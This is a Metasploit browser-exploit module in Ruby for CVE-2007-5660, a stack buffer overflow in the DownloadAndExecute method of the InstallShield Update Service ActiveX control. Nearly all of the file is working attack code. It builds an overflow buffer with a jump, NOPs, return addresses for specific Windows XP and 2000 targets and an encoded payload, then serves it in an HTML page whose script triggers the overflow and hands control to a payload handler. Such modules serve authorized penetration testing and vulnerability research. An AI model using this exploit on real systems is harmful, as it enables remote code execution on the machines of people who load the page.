##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Macrovision InstallShield Update Service Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Macrovision InstallShield Update
        Service(Isusweb.dll 6.0.100.54472). By passing an overly long ProductCode string to
        the DownloadAndExecute method, an attacker may be able to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-5660' ],
          [ 'OSVDB', '38347' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 600, 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English All',       { 'Offset' => 600, 'Ret' => 0x75022ac4 } ],
        ],
      'DisclosureDate' => 'Oct 31 2007',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(target['Offset'])
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    sploit << p.encoded + rand_text_alpha(1200 - p.encoded.length)

    #[id(0x00000007), helpstring("method DownloadAndExecute")]
    #void DownloadAndExecute(
    #		          BSTR dispname,
    #		          BSTR ProductCode,
    #		          long MsgID,
    #		          BSTR url,
    #		          BSTR cmdline);

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
      <script language='javascript'>
      #{strname} = new String('#{sploit}')
      #{vname}.DownloadAndExecute("", #{strname}, 0, "", "");
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end

end
